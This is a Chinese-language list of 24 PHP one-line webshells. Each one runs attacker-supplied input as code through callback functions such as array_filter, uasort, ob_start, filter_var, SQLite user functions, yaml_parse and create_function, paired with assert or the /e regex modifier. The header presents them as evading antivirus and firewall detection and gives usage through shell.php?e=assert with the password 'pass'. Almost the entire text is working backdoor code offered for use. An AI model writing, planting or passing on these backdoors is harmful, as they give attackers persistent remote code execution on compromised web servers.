一些无特征PHP一句话

不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。（少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等）

原理：https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
所有一句话使用方法基本都是： http:// target/shell.php?e=assert 密码pass

01

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_filter($arr, $e);
02

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_map($e, $arr);
03

$e = $_REQUEST['e'];

$arr = array('test', $_REQUEST['pass']);

uasort($arr, $e);
04

$e = $_REQUEST['e'];

$arr = array('test' => 1, $_REQUEST['pass'] => 2);

uksort($arr, $e);
05

$arr = new ArrayObject(array('test', $_REQUEST['pass']));

$arr->uasort('assert');
06

$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));

$arr->uksort('assert');
07

$e = $_REQUEST['e'];

$arr = array(1);

array_reduce($arr, $e, $_POST['pass']);
08

$e = $_REQUEST['e'];

$arr = array($_POST['pass']);

$arr2 = array(1);

array_udiff($arr, $arr2, $e);
09

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk($arr, $e, '');
10

$e = $_REQUEST['e'];

$arr = array($_POST['pass'] => '|.*|e',);

array_walk_recursive($arr, $e, '');
11

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
12

echo preg_filter('|.*|e', $_REQUEST['pass'], '');
13

ob_start('assert');

echo $_REQUEST['pass'];

ob_end_flush();
14

$e = $_REQUEST['e'];

register_shutdown_function($e, $_REQUEST['pass']);
15

$e = $_REQUEST['e'];

declare(ticks=1);

register_tick_function($e, $_REQUEST['pass']);
16

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
17

filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
18

$e = $_REQUEST['e'];

$db = new PDO('sqlite:sqlite.db3');

$db->sqliteCreateFunction('myfunc', $e, 1);

$sth = $db->prepare("SELECT myfunc(:exec)");

$sth->execute(array(':exec' => $_REQUEST['pass']));
19

$e = $_REQUEST['e'];

$db = new SQLite3('sqlite.db3');

$db->createFunction('myfunc', $e);

$stmt = $db->prepare("SELECT myfunc(?)");

$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);

$stmt->execute();
20

$str = urlencode($_REQUEST['pass']);

$yaml = <<<EOD

greeting: !{$str} "|.+|e"

EOD;

$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
21

$mem = new Memcache();

$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));

$mem->connect($_REQUEST['pass'], 11211, 0);
22

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
23

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
24

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));

foreach ($iterator as $item) {echo $item;}